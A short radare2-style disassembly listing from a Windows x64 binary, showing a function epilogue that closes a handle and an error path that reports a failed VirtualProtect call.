call fcn.140015720
mov rcx, qword [rsp + 0x78]
call sub.ntdll.dll_NtClose
xor eax, eax
sub rsp, 0xffffffffffffff80
pop rbx
pop rsi
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.VirtualProtect_failed_with_error_code:__lx_n
mov edx, eax
call fcn.140015be0
or eax, 0xffffffff
jmp 0x1400b3290